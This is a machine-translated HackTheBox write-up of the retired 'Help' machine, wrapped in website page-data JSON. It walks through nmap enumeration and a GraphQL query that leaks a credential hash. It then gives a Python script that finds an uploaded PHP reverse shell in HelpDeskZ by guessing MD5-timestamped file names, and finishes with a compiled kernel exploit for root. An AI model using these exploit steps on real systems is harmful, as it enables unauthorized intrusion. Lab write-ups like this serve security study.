{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-help-en","result":{"data":{"markdownRemark":{"id":"2731d410-b1e1-54ef-bcfa-c1d31e11c152","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I use the penetration-testing learning platform “Hack The Box” to study security.\nAt the time of writing, my rank on Hack The Box is ProHacker.

\n\n \n \n \n \n \n \"Hack\n \n \n \n

This time I am writing up the retired HackTheBox machine “Help”.

\n\n

About This Article

\n

The content of this article is not intended to encourage acts that are contrary to social order.

\n

Please note that attempting attacks against environments other than those you own or are authorized to use may violate the Act on the Prohibition of Unauthorized Computer Access (the Unauthorized Access Prohibition Act).

\n

All statements here are my own and do not represent any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

As usual, I started with a port scan.

\n
$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.121  $RHOST/g' /etc/hosts\n$ nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt\n$ nmap -p- $RHOST -Pn -sC -sV -A  | tee nmap_max.txt
\n

Port 3000 being exposed externally seemed unusual, but I started by looking at port 80 first.

\n
PORT     STATE SERVICE VERSION\n22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)\n|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)\n|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)\n80/tcp   open  http    Apache httpd 2.4.18\n|_http-title: Did not follow redirect to http://help.htb/\n|_http-server-header: Apache/2.4.18 (Ubuntu)\n3000/tcp open  http    Node.js Express framework\n|_http-title: Site doesn't have a title (application/json; charset=utf-8).\nService Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
\n

Connecting to port 80 redirected to help.htb, so I edited the hosts file accordingly.

\n

Unfortunately the top page did not contain anything interesting.

\n

\n \n \n \n \n \n \n \n \n

\n

Running gobuster on the directories revealed that a system called HelpDeskZ was running.

\n

\n \n \n \n \n \n \n \n \n

\n

I found a contact form and tried a blind XSS attack, but it did not appear to work.

\n

Next, I found the following exploit:

\n

Reference: HelpDeskZ 1.0.2 - Arbitrary File Upload - PHP webapps Exploit

\n

It appeared to abuse unrestricted file-type checking on uploaded files, but PHP uploads were rejected by the uploader on the target.

\n

\n \n -H 'Content-Type: application/json' --data '{\"query\": \"{user {username, password}}\"}'\n\n{\"data\":{\"user\":{\"username\":\"helpme@helpme.com\",\"password\":\"5d3c93182bb20f07b994a7f617e99cff\"}}}\n

After changing the timezone to UTC and uploading the file, I ran the following exploit to identify the URL and successfully obtained a shell.

\n
import hashlib\nimport time\nimport sys\nimport requests\nimport calendar\n\nhelpdeskzBaseUrl = \"http://help.htb/support/uploads/tickets/\" # change this\nfileName = \"php-reverse-shell.php\" # Your reverse shell\nresponse = requests.head('http://10.10.10.121') # Change this\nserverTime=response.headers['Date'] # getting the server time\ntimeFormat=\"%a, %d %b %Y %H:%M:%S %Z\"\ncurrentTime = int (calendar.timegm(time.strptime(serverTime,timeFormat)))\nfor x in range(0, 800):\n   plaintext = fileName + str(currentTime - x)\n   md5hash = hashlib.md5(plaintext.encode()).hexdigest()\n   url = helpdeskzBaseUrl+md5hash+'.php'\n   print(url)\n   response = requests.head(url)\n   if response.status_code == 200:\n      print (\"found!\")\n      print (url)\n      sys.exit(0)\nprint (\"Sorry, I did not find anything\")
\n

Privilege Escalation

\n

With a User shell obtained, I moved on to privilege escalation.

\n

The approach was straightforward — I used a kernel exploit.

\n
# Linux Kernel < 4.4.0-116\n# searchsploit -m exploits/linux/local/44298.c\n$ gcc -pthread 44298.c -o 44298.bin
\n

I wonder why DirtyCow, which I tried before this, did not work.

","fields":{"slug":"/hackthebox-linux-help-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2022-08-08","description":"A writeup of the retired HackTheBox machine 'Help'.","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"HackTheBox Writeup: Help (Easy/Linux)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-linux-help-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}